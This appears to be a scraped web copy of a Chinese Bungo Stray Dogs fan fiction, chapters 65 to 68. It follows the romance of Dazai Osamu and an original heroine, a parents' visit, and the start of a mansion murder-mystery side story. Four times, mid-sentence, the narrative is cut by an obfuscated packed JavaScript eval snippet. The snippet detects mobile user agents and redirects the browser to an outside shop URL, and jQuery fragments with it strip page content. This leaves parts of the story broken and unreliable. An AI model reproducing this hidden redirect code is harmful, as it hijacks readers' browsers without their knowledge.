灵巧的手指将解下来的绷带缠在恋人身上,“……要不要继续?” 很快就被松松垮垮捆起来的雪野夕抗议,“说好了要和我分担痛苦呢?” “当然。”那双鸢色的眼睛自下而上追逐着她,“夕酱会感受到的。” “……” “嘶——” 被他的手指刺激到,雪野夕忍不住后仰,缠着他绷带的右手也在不经意间向后—— “呃……” 最后一段绷带仍然包裹在太宰治的脖颈上,拉扯的力量化作枷锁将他向前一扯,漂亮的眼睛里又弥漫出清浅的水雾。 “要轻一点呀,夕酱。”他像个魅魔一样蹭蹭雪野夕的额头,又用嘴唇一寸一寸抚摸下去。 “如果这么快就失去力气……可就没办法再惩罚我这只坏猫了。” 65.正文完结 平稳的游轮穿破海洋,自如地行驶在蓝色的碧波之上。 在横滨的风波平静后,这些年沉迷工作的雪野夕和致力摸鱼的太宰治一起登上前往欧洲的游轮,开启了某种意义上的蜜月旅行。 侦探社这边没什么意见,而港口mafia这边,森先生甚至非常“慷慨”地表示,自己可不是福泽谕吉先生这种不通情达理的领导,他可是直接给了带薪年假。 对于这种莫名其妙卷起来的行为,太宰治表示喜欢、多来点。 结果被国木田独步狠狠制裁,表示就算是旅行也得把工作完成。 因为他平时坑过自己太多次,严谨的侦探社妈妈已经全然变身惊弓之鸟。 最后还是雪野夕表示放心吧日常工作他会做完的。 在同为J人的保证下,国木田独步相信了。 至此二人的欧洲之旅正式展开—— “夕酱,要不要起来吃点东西。” 太宰治戳戳躺在他腿上休息的雪野夕,“唔……十五天的行程已经过去了一半。” 他动作很轻地在她缠着绷带的伤口边缘抚摸着,“想好怎么跟爸爸妈妈解释了吗?” “当然。”雪野夕闭目养神,“到时候正好是万圣节,我就说我们两个是在穿情侣装cosplay绷带精。” 太宰治:“……” “哇哦。”他小海豹鼓掌,“真是了不得的创意。” “我觉得妈妈是不会相信的。” 雪野夕总觉得这只奶牛猫陷入了什么“见父母焦虑症”,虽然从道理上来讲,她也没见过他们。 但当她接到他们的电话时,一种下意识的熟稔瞬间包围了她。 这种情感不是被剧情设定好的,她天生就是他们的女儿。 “放心啦。”雪野夕侧过身抱住恋人的腰蹭蹭,“你肯定能行。” “呜。”平日巧舌如簧的奶牛猫就差变成飞机耳看过来,“可是他们对我的印象……” 当初用书页融合世界、改写故事时,他给自己写了不少优秀女婿的人设。 但真要面对起来,心里却只剩下惴惴不安。 假如剥开虚假的外衣,展露属于“太宰治”的真实,又有多少人会接受这样的他呢? 这种不安在真正与雪野家两位长辈见面时达到顶峰,又很快变成肥皂泡泡破裂、随风消散。 因为一下船,雪野夫人和雪野先生就已经在港口等待,并且雪野夫人的目光扫视过来—— 雪野夕听见太宰治在她身边倒吸一口凉气。 “哎呀,真是帅气。”雪野夫人在老公满脸“又来了”的表情下眼睛发亮地注视着太宰治,“猫系果然可爱。” 太宰治:“……?” 原来是遗传啊,夕酱。 雪野夫人和雪野夕长得很像,是个拥有黑色长发的优雅女士,而雪野先生气质儒雅,金丝眼镜下有一双年过半百仍然温和澄澈的苍绿色眼睛。 这样一对夫妻,让他很难找回“认真应对”的心态。 依次与女儿拥抱后,雪野先生推推眼镜,“先回去吧?庄园里也做了万圣节的布置。” “你们两个怎么这么急切,现在就装扮好了。”他打量着雪野夕和太宰治脖子上的同款绷带,语气有点揶揄,“唔,看上去材质很不错。” 太宰治:“哎?” 都没有解释,岳父大人就直接找好理由了吗? 倒是雪野夫人轻轻勾起嘴唇,但看在雪野夕求饶的眼神上没有多说什么。 身为横滨操心师太宰治,在“如何攻略岳母岳父大人”上花起心思来,当然没有做不好的道理。 当司机把车停在庄园中时,雪野先生已经相见恨晚地握住了太宰治的手,“不愧是侦探,对各种藏品都能娓娓道来,还懂得各种宝石的鉴别技巧……” 雪野夕:“……” 想起港口mafia干部时期太宰治的工作之一,她有点沉默了。 而太宰治更加不知所措,这就相当于一个好学生将知识点默写十遍后,发现考试竟然是开卷一样。 出乎意料的简单。 岳母是颜控,岳父智性恋,而颜值和智慧他似乎都不缺。 他就像闯入了梦境一样晕乎乎地被雪野夕拉进门,然后头昏脑胀地接过长辈们递过来的东西。 一个……小篮子? 纸藤编织的手提小花篮最底下放着一层软垫,上面是一把奇奇怪怪、花里胡哨的糖果。 “听夕说你喜欢吃甜的?”雪野先生向他温柔笑笑,“正好我这里有过一会儿要分发的糖果,看你们那么期待,就先给治君好了。” ……被当做小孩子了。 太宰治本来已经快要运转正常的大脑再次宕机,全靠身边的雪野夕牢牢抓住他才没有落荒而逃。 “为什么我没有?”雪野夕凑上去,“也给我一篮啦。” “都有都有。”雪野先生笑呵呵地给女儿另一个篮子。 两个篮子里糖果种类并不一样,一看就是根据个人口味提前准备好的。 原来在他焦虑地了解他们的喜好时,对方也在了解他。 所以才能在见面时做到如此亲切。 了解太宰治的不安与惶恐,所以才将装着糖的篮子第一个递给他。 我就说没问题吧?雪野夕冲着太宰治使眼色,对方却突然回以更加抱歉的眼神。 果然,下一秒老父亲的声音就在耳边响起,“夕啊,我刚刚听治君说你在横滨的时候,喜欢写日记?” 重点是,女儿也像妻子一样喜欢在日记里赞美她看中的、无论性别的美人啊! 听懂老父亲言下之意的雪野夕不可置信地瞪大眼睛——不是吧?刚刚在车上她就是稍微一犯困啊,你们的聊天进度已经到了这种程度吗? 雪野夫人给了女儿一个“幸灾乐祸、爱莫能助”的眼神。 太宰治则是满脸无辜地在恋人手心写下“受伤”两个字。 对于恋人不小心受伤这件事,他也是很有报复心的好吗? 最好的办法当然是……告状啊。 你这只坏猫!恋人的眼神传递出这种意味,但熟悉她的太宰治怎么会看不出她根本没生气,这种时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057095|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候当然是把自己靠过去任由她捏捏了。 两个人追逐打闹的身影约过螺旋楼梯,看完这一幕的雪野先生才笑着感叹,“年轻人,真是有活力啊。” . 直到夜幕降临,被雪野夕拉着去参加万圣节活动,太宰治才后知后觉地与恋人小声诉说:“我还以为……” “还以为我的父母是森先生那种类型嘛?”雪野夕也跟他玩说悄悄话的游戏,“不可能啦,像森先生这种父母……哼哼。” 养孩子是注定失败的好吗? 听说与谢野小姐就是他带的孩子,中也属于自身优秀才没被带歪呀。 “其实你也很不会带小孩。”她剥开一颗奶糖塞进凑在她旁边的太宰治嘴里,“你看芥川还有敦君……” “唔。”叼住奶糖的猫咪委委屈屈地撒娇,“那也是因为之前被森先生影响了嘛,但现在我不是流浪猫了哦。” “你现在是有爸爸妈妈的猫了。”雪野夕深以为然地点点头,“走吧,让主人带你去看看有什么好吃的!” 一脸乖顺的猫咪被她握住右手走在人群中,身边还时不时会有小孩子凑近。 “不给糖就捣蛋。”雪野夕反客为主,伸手问凑过来的小孩子要糖。 不成功就算了,成功了就把要来的糖果放进太宰治的小篮子里。 在不远处跟着的管家十分汗颜,赶紧带着小礼物安慰懵逼的孩子们。 “原来跟着主人可以要到糖啊……” 人群中的嘈杂与拥挤让太宰治紧紧地贴在雪野夕身边,“谢谢主人……哎?” “人工血浆。”雪野夕将喝了一口的饮料递给他,“唔,山楂味。” 他们还一起尝了更多万圣节特供小零食,比如眼球软糖、被装点成幽灵模样的马卡龙还有画着蜘蛛花纹的曲奇。 雪野夕总觉得太宰治有点厌食,所以看到什么新奇的东西都会喂他一口,绝对不是因为自己也好奇味道。 她对甜的接受程度没有他高,所以这些稀奇古怪的食物最终还是被他解决了。 “想起了以前我们一起去花火大会的时候。”太宰治轻轻晃晃他们交握的手,“那次夕酱也……” “那次你的人设好像还是我的姐夫?我们背着中也姐姐私奔……”雪野夕回想起的和他不太一样,“但总之,我们现在确实‘私奔’到了这里呢。” “夕酱的关注点真是的。”对撒娇熟能生巧的猫咪低头,直到额头与她相碰,视线被鸢色眼眸占据,“一起去看花火大会,一起品尝有趣的东西,一起像这样走在人群之中……” 这次换他来买下各种各样好玩的东西,也换他来以娜欧蜜玫瑰回赠恋人的粉色绣球花。 而他真正想说的是—— “未来也一直像这样走下去吧。” 直至你我生命的尽头。 “当然。”雪野夕主动抬头碰上他柔软的嘴唇,“直到生命的尽头。” 璀璨的烟火在头顶绽放,流光溢彩,滑落至消散在幽幽夜空。 耳边是无尽的欢笑,而未来的日子,也会如烟花一样闪耀下去。 66.番外一(1)[番外] 世界上任何一座牢笼,爱都能破门而入。* . “哟国木田君,居然很少见地没有待在位置上拼命看文件呢。” 上午十点多,迟到两小时的太宰治打着哈欠迈进武装侦探社大门。 “还有敦君,怎么跑来跑去的?” “啊,是太宰先生啊。”被叫住的中岛敦挠挠后脑,“听国木田先生说待会儿会有委托人上门。” “这样嘛?那我希望是个美丽的小姐……” “你这混蛋,这次的委托人她……” “咚咚咚——” 和缓的敲门声就在这时响起,与窗外的小雨奏成低柔音调,国木田独步下意识看向手表,十点一刻钟,委托人到达的时间不多不少、正是他们约好见面的时间。 距离门口最近的太宰治主动打开门。 “日安,这位……帅气的先生。” 比画面先传入大脑的是来人温和的嗓音和她身上初雪过后早晨的气息、亦或是沾满露水的花香,随后才映入眼帘的才是对方冬日森林一样的眼睛,以及散落在身后发出微微光晕的漆黑长发。 “……真是直白的小姐。”意识到自己注视一个人的眼神似乎已经超过平均时长,太宰治主动侧身,“请问您是今天的委托人吗?” “是我。”雪野夕带着微笑轻轻点头,走进武侦的大门,跟随她一同前来的中年西装男人则一言不发,低调地立在她身侧。 等到接待室的茶水热气袅袅时,她才仔细说明自己的来意。 “……月见里公馆的诅咒?” 国木田推着眼镜,身边的中岛敦也一脸迷茫。 “这件事名侦探听说过哦。”半躺在椅子上的江户川乱步正对着昏暗的天光观察弹珠,“不过嘛,雪野小姐你肯定不相信。” “嗯。”雪野夕放下茶杯,“这座公馆是我父亲在五年前买下的,而在当时就有这个传说。” “因为公馆的内部结构建造特殊,所以我父亲想要将它改为艺术馆展览他收藏的画作。” “大概是十年前……那时刚刚建成的月见里公馆似乎发生了一起杀人案件。” “死者溺死在一楼正中央,但毫无挣扎痕迹。” “在他身下还绘制了许多杂乱的红色线条,拼合的图案……大概就像某种祭坛和祭祀。” “哎?等等,溺死?”中岛敦有些不好意思地提问,“雪野小姐家的公馆一楼有泳池吗?” “一楼是一片开阔的大厅,没有什么泳池,唯一有水的地方就是西南角的卫生间。”雪野夕摇头,“但整座公馆的建筑材质都是特殊的玻璃……所以凶手杀人非常方便。” “确实,不管是指纹还是脚印都能很快地被清理掉呢。”江户川乱步锐评,“但警方依旧没能找到凶手吧?” “是的……而且死者先生人缘良好、社会关系简单,因此即使是再怎么调查,警方也无法查出是谁杀了他,又因为缺少证据,这件事最终成为悬案。” 还有最重要的一点,发现尸体的那天是月见里公馆向外开放的第一天,当时的主人兴致勃勃地邀请了朋友们齐聚,而当一群达官显贵进入公馆大门,第一眼看见的就是一具苍白肿胀的陌生男人尸体。 所以才有诅咒公馆的传言——有妖怪在这座不详的公馆作祟,它会随机挑选一个进入里面的人并杀害,以平息自己被亵渎的怒火。 “……我父亲并不相信这点,他从公馆的前主人手中买下它闲置五年之久,但没想到就在前几天,也就是在我父亲想要重启公馆之后,又一具尸体出现在相同的位置。” “雪野小姐依旧不相信有妖怪诅咒的传闻,对吗?”这次说话的是软骨头没型一样靠在沙发扶手上的太宰治,国木田独步听到他难得正经的问话,甚至有些欣慰。 就是姿势再正经一点就更好了。 “确实,新出现的死者佐藤先生也是被人溺死……但他很明显有挣扎的痕迹,而且这段时间月见里公馆人来人往,无法排除模仿作案的可能。” “国木田,那么这个委托交给你喽。”听完详情的江户川乱步彻底瘫下去,“啊,社长说雪野先生是他的朋友,所以一定要努力找到真相啊,诸位。” 他之所以出现在这旁听,也有社长交代的因素在。 但听完整个案件描述后,他已经明白了许多呢。 最终外出调查的任务就落到国木田独步、太宰治和中岛敦身上。 对于这点,雪野夕没什么异意,“当然好呀,毕竟是三个帅气的侦探和我……” “小姐。”她身后的黑衣人管家轻咳一声,提醒她注意言辞。 “小姐真是的——”太宰治朝她眨眨眼睛,“居然见一个爱一个,你觉得我们三个谁最……嗷!” “太宰!”不知何时出现在他身后一个手刀劈上这小兔宰治脑壳的国木田压低声音,“你给我注意一点啊!雪野小姐和敦君同岁,你这个人渣!” “我成年了哦!”雪野夕举手,“不如我来开车带大家去月见里公馆怎么样?” 此话一出,她身后的严肃管家大叔差点咳成风箱。 可最后还是被她拿走了车钥匙。 因此在坐上车子的第一时间,他就选择将安全带紧紧系好,安详地闭目塞听。 社交恐怖分子太宰治被安排在副驾驶,一上车他就看到雪野夕正在摸方向盘,嘴里喃喃自语:“我先和新车熟悉一下。” 太宰治:“……?” 难道今天就是他进入黄泉比良坂的黄道吉日吗? 三十分钟后,宾利稳稳地停在月见里公馆门外,下一刻,车里其他四个人夺门而出,争先恐后地干呕起来。 “十一点十五分,时间刚刚好。”罪魁祸首雪野夕看了眼手表,“国木田先生……你们怎么了?” 她考虑到横滨的不安定因素和拥堵的交通状况,特意走了海岸线旁边的公路,路况良好,车速拉满,甚至在考察完现场情况后可以还能和三个帅气的侦探约饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074729|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 美人在侧,一定连吃饭都赏心悦目吧。 “雪野小姐,有人夸过你车技很好吗?”四人里最先恢复正常的太宰治虚弱地直起身子。 “没有啊。” “没有,那您还开车。” “哈?” 被怼的雪野夕气鼓鼓地带着他们进门,心想看在你脸的份上我忍了,随后开始一脸不爽地介绍内里。 月见里公馆坐落于横滨海岸边,整体呈现低调的烟墨色,有四层十六个密闭区域,内部有灯光照明,两条长长的走廊将一楼划分为五个区域,每条走廊的尽头都有一座高大的持刀武士雕像,沉默地驻守着这座公馆。 “……好阴森森的氛围。”中岛敦抱住自己,“这里真的能当做艺术馆吗?” “艺术也不一定都要明亮欢快。”雪野夕安慰自己的同龄人,“不喜欢也没关系。” “还有就是你待会儿有时间吗?我想请你吃……” “这里氛围真不错啊。”与中岛敦相对的是眼神发亮的太宰治,他甚至转头打断雪野夕的约饭邀请,“如果打算彻底关闭这里的话可以允许我……” “不允许!”国木田独步紧急按住他。 “不愧是靠谱的大人。”雪野夕看着这无情镇压搞怪同事的一幕,“国木田先生,这么得体的装扮和男妈妈一般的行事作风……工作上也很可靠,您待会儿有时间吗?” 国木田独步:“哈?” 太宰治在一旁爆笑如雷,刚刚直起的腰又弯下去,“国木田君可是有自己的理想女性哦。” “在别人家里自杀……真是进狱系啊太宰先生。”雪野夕撤回一条邀请,改为和眼前疑似奶牛猫变身的人拌嘴。 “嘛,雪野小姐说话居然这么犀利吗?” “对帅气的太宰先生可以使用委婉的语气词。” “哇哦,说得我都想邀请您殉情了呢。” “婉拒,但我可以帮您联系殡仪馆哦,还有律师事务所,对您的遗产进行清算。” “这么冰冷的话是怎么从您口中说出来的?”太宰治装模作样地向后退了两步,“该说不愧是资本家后裔吗?” “因为您比我大四岁啊太宰先生,我们之间已经拥有深深的代沟。” 一边接过管家递过来的钥匙一边与太宰治斗嘴的雪野夕打开一楼东北角的大门,介绍说:“这个房间就是放我父亲藏品的地……” 她的话音还未落下,身后的管家就已经惊叫出声,而离她最近的太宰治当机立断伸手,抓住雪野夕的衬衫领子将她向后一拉,塞到自己身后—— 成功避开开门时倒向她的那具尸体。 烧焦的尸体重重向前砸在地板上,激起一股难闻的臭味。 而这一切都被房间尽头矗立的一具黑武士雕塑尽收眼底,它仍冰冷沉默地直视着门边,在它脚下,许多血红色的花纹交织成一个巨大又杂乱的图案,正中心还架着引火装置,而在装置旁边的地面上,一枚钥匙正散发出淡淡的光辉。 67.番外一(2)[番外] 被拎着领子带到一米开外的雪野夕无语地看向太宰治,他似乎也稍微觉得这种行为不太妥当,一脸无辜地放开她往旁边挪动。 “这是怎么回事?”国木田独步第一个反应过来,蹲下身检查焦尸的状况。 中岛敦也惊魂未定,他旁边的管家黑川先生甚至下意识地捏住了他的胳膊……有点疼。 “小、小姐……难道真的有妖怪吗?”黑川先生惊恐地看向房间里的那枚钥匙。 “毫无疑问。”雪野夕从口袋里掏出手机报警,“这是一场密室杀人案。” “尸体必须联系警方调查身份,然后由法医给出检测结果。” “这样做……不会触怒妖怪吗?”黑川脸色发白嘴唇颤抖,“接下来会不会还有人会死?!” “很有可能。”抱臂注视这一切的太宰治微微歪头,像是一只集中注意力的猫,“所以……就更应该加快调查进度了呀。” 加上今天的案件,月见里馆迄今为止已经发生三起死亡事件,引起横滨警方高度重视。 “上一次离开的时间?”雪野夕看着面前记录的警员,“昨天晚上六点十四分,今天开门的时间是上午十一点十七分,打开内里那扇门的时间大概在十一点二十七分。” 记录警员:“……” “这么精准?”警官先生问:“您对时间的记忆都是如此深刻吗?” 国木田独步下意识想起对方近乎卡点的到场时间,暗中摩挲自己的小本子。 “我有看手表的习惯。”雪野夕展示自己手腕上的机械表,“加上最近总有妖怪的传言,所以会格外注意一些。” 黑川管家的描述则要颠三倒四许多—— “小姐打开门……一个黑影就这么倒下来,天哪!那竟然是一具尸体,房间里面、地上还有一把钥匙……” “是一楼房间的备用钥匙。”警员补充信息,“靠近室内的中央,大概是点火装置的位置,除此之外室内还有一些被烧毁的藏品、地面上意义不明的花纹以及一座金属武士雕像。” 回想起黑武士那白炽灯下被铁甲覆盖的面容和缝隙中黑洞洞的眼睛,警员后背一阵发凉。 “那把备用钥匙一般是谁拿着?”他定下心继续问话。 “没有谁,备用钥匙平时就放在门边。”雪野夕回答,“东北角的走廊尽头也有一尊武士像,钥匙平时就放在它胸口的小洞里。” 询问结束后,雪野夕给惊魂未定的黑川先生放了假,自己又和武侦三人组赶回侦探社。 “你们都不吃饭吗?”她托腮,“已经两点五十分了耶。” “名侦探有曲奇饼干。”江户川乱步难得大方分享一次,引起社长福泽谕吉欣慰许多——孩子长大了,都会主动给比自己小的妹妹分享零食了! “雪野小姐真的很镇定耶。”看着对面的女孩收下饼干,江户川乱步歪歪头,“即使知道下一个目标多半就是自己?” 此话一出,除了波澜不惊的太宰治和泉镜花,全场人都是一脸迷惑。 “等等乱步先生。”中岛敦看向已经啃起蔓越莓曲奇的雪野夕,“什么叫‘下一个目标是雪野小姐’啊?” “因为想要落实诅咒之名,只死掉一些对于公馆来说无关紧要的人还不够有分量。”雪野夕咽下饼干,“我父母都在国外,横滨只有我一个人勉强算得上月见里公馆的主人。” “如果我也死了,那么公馆诅咒的事情就是一定的。” “我们可以贴身保护雪野小姐。”泉镜花面无表情地拿出短刀,“凶手来了也不用怕,反杀就好。” “就算是真的受伤也无所谓吧?”与谢野晶子也活动手腕,“有我在,只要不是必死……” “哇,谢谢镜花酱和晶子小姐。” 中岛敦:“……” 他有些佩服雪野小姐的心理素质。 “是啊敦君。”太宰治懒洋洋地靠在沙发一角,“雪野小姐和你一样大,镜花酱就更小了呢。” 中岛敦:“……” 这下他是真的要哭出声了哦。 “那不如我请侦探社的大家去我家住怎么样?”吃完饼干的雪野夕在对面江户川乱步的挤眉弄眼下提议,“家里有温泉哦。” “同样!”曲奇得到回报的乱步第一个跳起来,他想和社长一起泡温泉。 而与谢野晶子也在雪野夕“来嘛来嘛和姐妹一起泡温泉”的眼神下同意了。 谷崎直美:“那我岂不是就能和哥哥……” 谷崎润一郎:“不、不要在这么多人前说糟糕的事情呀直美。” “夕来这里才不久吧。”福泽谕吉放下茶杯,他和雪野夕的父亲是故交,对朋友的女儿难免更加关照,“……身边没有亲人的话,我们去打扰两天也可以。” 唔,身边的乱步眼神太像想要求摸摸的猫咪了,有点手痒。 “确实来了没几天。”雪野夕点头,“我来的那天还在庄园里听见了上空传来好大一声的——” “太——宰——” “咳咳咳!”太宰治平白无故被呛,“真是调皮的小姐啊。” 他无语的样子有点好玩,雪野夕双手合十,“拜托啦,过几天恰好有烟火哎,我家在山坡上超级适合赏景的。” 最重要的是大家都这么赏心悦目,真是太好了! . “居然连庄园里都有武士雕像吗?”中岛敦有点发怵地看着雪野夕居住的庄园室内站立的黑武士。 “传说他们是战国时代继国家的一对双生兄弟,以日月为名,最终成为有名的剑士,一同游历各地。”雪野夕看着武士雕像,“……不知道为什么,我觉得和它们很有缘,就把当时铸造的二十四尊武士像都买下来放在家里了。” “真是威严呢,我都被吓了一条。”谷崎直美黏在哥哥身边,“哥哥要不要……” “不要啊直美!” 大家默契地无视这对兄妹的谈话内容,这场晚间小聚氛围很好,雪野夕让家里的厨师从地窖取出藏酒一起品尝,准备过会儿再去温泉继续聊天。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092901|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 到时候男女分开,她还可以和与谢野小姐她们一起聊点女孩子之间的话题。 夜风习习,已然带上夏日的微微热意,众人带着微醺去室内换好衣物,推门而出时夜空中恰好绽开第一朵璀璨的烟花。 随后是第二朵、第三朵…… 从一点闪光上升到最高处,最后轰然炸开,在夜色中坦然消逝,不留一丝痕迹。 “真希望……离开时能像烟花一样绚烂啊。”回廊下,太宰治孤身一人仰望着空中烟火,喃喃自语。 这座庄园又大又空,即使加上管家女仆之类的,日常待在这里的也不过十几个人而已。 高处的风总是带着寂寥,风拂过院中晚樱时会带来一点清淡的花香,在这里看到的烟火,离人群总是遥远。 织田作,你也会看到如此绚烂而短暂的烟火吗? 早已离开的你,和如今正寻求什么东西的我。 “太宰先生,怎么不去和大家一起泡温泉呢?”雪野夕在拐角处看着他收回仰望天空的目光,才转过来与他搭话。 “啊……没什么呢。”太宰治嘴角轻微勾起,“是烟火太美丽,所以才在这里驻足观看。” “那真是太好了。”雪野夕在他身侧半米处站定,“虽然烟火的美丽转瞬即逝,但观赏者却在心中赋予了它意义。” “更何况还是像太宰先生这样帅气的人。” “哎?”身侧带着微微疑问的青年好似月夜下盛放的白玉兰,“……雪野小姐,真擅长夸奖别人。” “但意义什么的……” “烟火很快就会落幕的。”雪野夕在回廊上坐下,豪气地拍拍身侧,“可是当我说到今晚在这里很适合赏景,大家却都很期待呢。” “能让大家感到开心,这就已经是在为烟火赋予存在的意义。” “但烟火本身只是烟火。”她身上还带有细微酒香,“如果今天只是我孤身一人……想必会沉浸在生命倒计时的惊慌中,也就没有心思观赏它了吧?” “雪野小姐觉得,人也是一样的吗?”也许是对话题感兴趣,太宰治也坐在她身边,稍稍向后倾倒,“人存在的意义……莫非要靠别人赋予?” “人的存在,大概也是无意义吧。”雪野夕看着晚樱花瓣被吹落在他们坐下时堆叠在一起的衣袂上,“总会有人因此陷入虚无……但意义嘛,因为寻找而存在。” “并非别人赋予,而是自己寻找到。” “且无需因什么别的期待、别的渴望而活。” “人只属于我们自己。” “不过我们还是现在看烟火嘛……”她笑眯眯地止住话题,“有人看了觉得开心、有人看了觉得惋惜……” “我看完后觉得也觉得真不错。” 雪野夕灵敏地从廊上跳下去,落地时衣角与发丝都在空中轻轻飘扬。 那都属于她的森林气息,只在他身侧停留片刻。 “至于太宰先生看完之后呢——” “真是美人伤怀,我见犹怜呐。” 68.番外一(3)[番外] 热腾腾地在温泉里泡过一回后,兴致勃勃的众人在酒意加持下凑在一起玩乐。 国木田独步时不时在小本子上写下几条谁也没看见的话,福泽谕吉则像个老父亲一样,安静地看着孩子们闹。 “我赢喽!”雪野夕扔下最后一张牌,“鬼牌到敦君你那里了哼哼。” “哎……又是我啊。” 泉镜花拔开笔盖,冷静地问白发少年,“这次像画个什么图案?” 已经被画得一脸黑的中岛敦哭兮兮地告饶:“呃,现在这样子只能说随便吧。” 他输的多就算了,为什么贤治先生的运气也那么好啊! 在场除了他也就只有雪野夕没有抽到过鬼牌。 这就是天然克腹黑吗? “哥哥,直美也来帮你画。”谷崎直美兴致勃勃地凑近输得第二多的谷崎润一郎,“我一定会用心装扮哥哥的!” “呜,直、直美……” “真是一群小孩子。”江户川乱步咽下嘴里刚刚女仆端来的点心,“名侦探才不会玩这个。” “机制怪不能玩这个游戏。”雪野夕比叉,“再说乱步才是真正的小孩子吧?” “没大没小!名侦探可是比你大了八岁噢。” “切,我才不会在半夜吃甜点心呢!社长你看他!” “啊啊!竟敢告状!”被制裁的江户川乱步气呼呼。 同样抽鬼牌失败的与谢野晶子眼尖地看到桌子底下有个大箱子,不禁好奇地问雪野夕:“这是什么?” “是剧本杀。”雪野夕一脸兴奋地掏出箱子,“各位各位,不如来玩剧本杀吧?” “乱步先生这种天眼选手只能当主持人吧?” “这么说太宰先生也……?” “剧本组太多,大失败。”她哼哼唧唧地倒下去,“还不如凶手现在就下定决心来偷袭我呢。” 小老虎有点迷茫地摸摸头,总感觉雪野小姐这句话说得有些奇怪呢。 “雪野小姐很笃定,凶手的下一个目标就是你自己吗?”独自坐在沙发上的太宰治轻轻问,他并没有参与任何一项活动,难免显得萧索。 自从泡温泉前与雪野夕在烟花下交谈过后,他就保持着异常的沉默,甚至都没有试图溺死在温泉池中或是吊死在树梢上。 但雪野小姐好像快乐得很,打牌过程中时不时就会摸摸身边泉镜花的头发,坐累了甚至还会歪在与谢野医生的身上。 ……都被许可了。 怎么可以这样。 而且刚刚还对身边所有人都发出了奇怪的邀请。 这话术不就跟自己在咖啡店里请店员小姐殉情一样吗? 心中泛起一阵异样的情绪,像打翻一整罐冰镇气泡水,酥酥麻麻地不停蔓延。 剧本杀打不成,无聊的众人干脆开始杂七杂八地闲聊,偶尔会提及到自己以前的经历。 而在中岛敦结结巴巴地说完自己在孤儿院的生活后,雪野夕已经双手捧心看着围绕在自己身边的小伙伴们—— 好一个悲惨童年聚集地现场。 除了谷崎兄妹能互相依靠、宫泽贤治有亲戚相伴,其他的完全就是社长在路边收养流浪猫猫大赏啊。 “错的不是你们啊美……不是、我的朋友们。”她一脸深情地握住身边与谢野晶子的手,“没关系的,我家很大,一直住在这里都可以,一个人住两间房子都可以。” 与谢野晶子:“……谢谢,但一个人怎么住两间屋子,分尸吗?” “不要再推辞了,你们的痛苦我都心疼。” 正当她以为自己可以左拥右抱之时,黑川先生端着一壶茶水敲门。 “小姐。”管家先生显然仍处于惊魂未定的状态,一脸纠结地询问她,“您真的不担心……” “我是唯物主义者啦。”雪野夕瞬间正襟危坐维护形象,“再说即使真的有妖怪,我现在可是在家耶!” “难道它还要追杀我吗?” 管家先生:“……” 好、好有道理的样子! “倒是黑川先生你……还在笃信神明吗?”她撑住头,视线落在管家裁剪得体的西装袖口处露出的一截护身符。 “是啊。”这个头发已经有些花白的中年人扯出一个比哭泣还要勉强的笑容,“如果连神明也不相信……我又能做什么呢?” “黑川先生。”雪野夕却意外地收敛笑容,“我说过了,您存在的意义不是神明赋予的。” 管家这次没说什么反驳的话,而是沉默地放下清茶和茶具,转身出门。 经过这一出,中岛敦他们也有些迷惑,与谢野晶子更是直接问她:“管家先生……非常相信神明吗?” “是啊。”雪野夕叹息,“如果只是作为信仰倒没什么,但黑川他简直将神试作一切。” “但凡有什么事情超出他的预测,便会陷入慌慌张张的境地。” “是因为月见里公馆的传言才会这样吗?”中岛敦有些担忧地问:“毕竟妖怪都出现了……却没有神来回应他的祈愿。” “这种心情,岂不是很孤独吗?” “或许是哦。”太宰治不紧不慢地打断中岛敦的话,“……让自己手无寸铁地陷入危险之中,内心饱受痛苦而又虚无的煎熬。” 他微薄的唇带着点淡色晚樱的味道,“真是……十分可怜呢。” 他的语气有点奇怪。 怜悯语气中带着一点点挖苦的辛辣。 这种不对劲的态度让国木田独步都为之侧目。 直至窗帘上映出刺目白光,远方传来“轰隆”一声雷鸣,就在烟火落幕不久后,暴雨降临。 太宰治起身走到窗边拉开窗帘,豆大的雨滴砰地撞在眼前,接连不断。 玻璃上蒸腾起白雾,室内调暗的灯火闪烁两下,最终在一声轻响后化作一片黑暗。 “小姐、跳闸了!” 急匆匆赶过来的女仆举着蜡烛模样的照明灯,“雨太大……想要检修只能等到明天。” “那真是不巧。”雪野夕将视线从她擦出那小小一块明净玻璃上收回,急切的雨滴已经将花园化作一片泥泞,看来事后要好好修剪花枝了呢。 “既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 